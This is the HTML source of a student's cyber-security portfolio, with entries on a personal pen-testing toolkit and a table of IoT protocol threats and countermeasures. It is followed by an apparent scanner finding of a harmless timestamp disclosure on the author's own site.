class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 254375293Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 257747436, which evaluates to: 1978-03-03 05:30:36
Request Request line and header section (192 bytes)
GET https://beekmans.dev HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cacheRequest body (0 bytes)
Response Status line and header section (1047 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:11 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4lOrbKK8y%2Bn8QLhKEGpB7rePrCHT1J%2BQaOZJP06h5%2BW2GkK9CRq%2Fdn7ChLzJzoJLiDaKfMYCpMPOGx7ddQ5eVNaVcohEeYRecx%2BV4c%2BapqYy04o6ANFaN3V3sF2rfmk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a31e5f8a4c13-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178340 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div 